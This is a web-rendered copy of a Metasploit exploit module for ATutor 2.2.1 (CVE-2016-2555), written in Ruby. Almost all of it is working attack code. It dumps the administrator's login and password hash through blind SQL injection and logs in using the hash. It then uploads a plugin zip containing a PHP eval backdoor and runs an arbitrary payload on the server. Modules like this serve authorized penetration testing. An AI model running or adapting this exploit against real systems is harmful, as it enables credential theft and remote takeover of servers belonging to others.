CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/atutor_sqli.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
15
'Description' => %q{
16
This module exploits a SQL Injection vulnerability and an authentication weakness
17
vulnerability in ATutor. This essentially means an attacker can bypass authentication
18
and reach the administrator's interface where they can upload malicious code.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
24
],
25
'References' =>
26
[
27
[ 'CVE', '2016-2555' ],
28
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
29
[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
30
],
31
'Privileged' => false,
32
'Payload' =>
33
{
34
'DisableNops' => true,
35
},
36
'Platform' => ['php'],
37
'Arch' => ARCH_PHP,
38
'Targets' => [[ 'Automatic', { }]],
39
'DisclosureDate' => '2016-03-01',
40
'DefaultTarget' => 0))
41
42
register_options(
43
[
44
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])
45
])
46
end
47
48
def print_status(msg='')
49
super("#{peer} - #{msg}")
50
end
51
52
def print_error(msg='')
53
super("#{peer} - #{msg}")
54
end
55
56
def print_good(msg='')
57
super("#{peer} - #{msg}")
58
end
59
60
def check
61
# the only way to test if the target is vuln
62
if test_injection
63
return Exploit::CheckCode::Vulnerable
64
else
65
return Exploit::CheckCode::Safe
66
end
67
end
68
69
def create_zip_file
70
zip_file = Rex::Zip::Archive.new
71
@header = Rex::Text.rand_text_alpha_upper(4)
72
@payload_name = Rex::Text.rand_text_alpha_lower(4)
73
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
74
75
path = "#{@plugin_name}/#{@payload_name}.php"
76
# this content path is where the ATutor authors recommended installing it
77
register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")
78
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
79
zip_file.pack
80
end
81
82
def exec_code
83
send_request_cgi({
84
'method' => 'GET',
85
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
86
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
87
}, 0.1)
88
end
89
90
def upload_shell(cookie)
91
post_data = Rex::MIME::Message.new
92
post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")
93
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")
94
data = post_data.to_s
95
res = send_request_cgi({
96
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
97
'method' => 'POST',
98
'data' => data,
99
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
100
'cookie' => cookie
101
})
102
103
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
104
res = send_request_cgi({
105
'method' => 'GET',
106
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
107
'cookie' => cookie
108
})
109
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
110
res = send_request_cgi({
111
'method' => 'GET',
112
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
113
'cookie' => cookie
114
})
115
return true
116
end
117
end
118
# unknown failure...
119
fail_with(Failure::Unknown, "Unable to upload php code")
120
return false
121
end
122
123
def login(username, hash)
124
password = Rex::Text.sha1(hash)
125
res = send_request_cgi({
126
'method' => 'POST',
127
'uri' => normalize_uri(target_uri.path, "login.php"),
128
'vars_post' => {
129
'form_password_hidden' => password,
130
'form_login' => username,
131
'submit' => 'Login',
132
'token' => ''
133
},
134
})
135
# poor developer practices
136
cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
137
if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')
138
# if we made it here, we are admin
139
store_valid_credential(user: username, private: hash, private_type: :nonreplayable_hash)
140
return cookie
141
end
142
# auth failed if we land here, bail
143
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
144
return nil
145
end
146
147
def perform_request(sqli)
148
# the search requires a minimum of 3 chars
149
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
150
rand_key = Rex::Text.rand_text_alpha(1)
151
res = send_request_cgi({
152
'method' => 'POST',
153
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),
154
'vars_post' => {
155
"search_friends_#{rand_key}" => sqli,
156
'rand_key' => rand_key,
157
'search' => 'Search'
158
},
159
})
160
res ? res.body : ''
161
end
162
163
def dump_the_hash
164
extracted_hash = ""
165
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
166
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i
167
for i in 1..login_and_hash_length
168
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
169
asciival = generate_sql_and_test(false, false, sqli)
170
if asciival >= 0
171
extracted_hash << asciival.chr
172
end
173
end
174
return extracted_hash.split(":")
175
end
176
177
# greetz to rsauron & the darkc0de crew!
178
def get_ascii_value(sql)
179
lower = 0
180
upper = 126
181
while lower < upper
182
mid = (lower + upper) / 2
183
sqli = "#{sql}>#{mid}"
184
result = perform_request(sqli)
185
if result =~ /There are \d+ entries\./
186
lower = mid + 1
187
else
188
upper = mid
189
end
190
end
191
if lower > 0 and lower < 126
192
value = lower
193
else
194
sqli = "#{sql}=#{lower}"
195
result = perform_request(sqli)
196
if result =~ /There are \d+ entries\./
197
value = lower
198
end
199
end
200
return value
201
end
202
203
def generate_sql_and_test(do_true=false, do_test=false, sql=nil)
204
if do_test
205
if do_true
206
result = perform_request("1=1")
207
if result =~ /There are \d+ entries\./
208
return true
209
end
210
else not do_true
211
result = perform_request("1=2")
212
if not result =~ /There are \d+ entries\./
213
return true
214
end
215
end
216
elsif not do_test and sql
217
return get_ascii_value(sql)
218
end
219
end
220
221
def test_injection
222
if generate_sql_and_test(do_true=true, do_test=true, sql=nil)
223
if generate_sql_and_test(do_true=false, do_test=true, sql=nil)
224
return true
225
end
226
end
227
return false
228
end
229
230
def service_details
231
super.merge({ post_reference_name: self.refname, jtr_format: 'sha512' })
232
end
233
234
def exploit
235
print_status("Dumping the username and password hash...")
236
credz = dump_the_hash
237
if credz.nil? || credz.empty?
238
fail_with(Failure::NotVulnerable, 'Failed to retrieve username and password hash')
239
end
240
print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")
241
admin_cookie = login(credz[0], credz[1])
242
if upload_shell(admin_cookie)
243
exec_code
244
end
245
end
246
end
247
248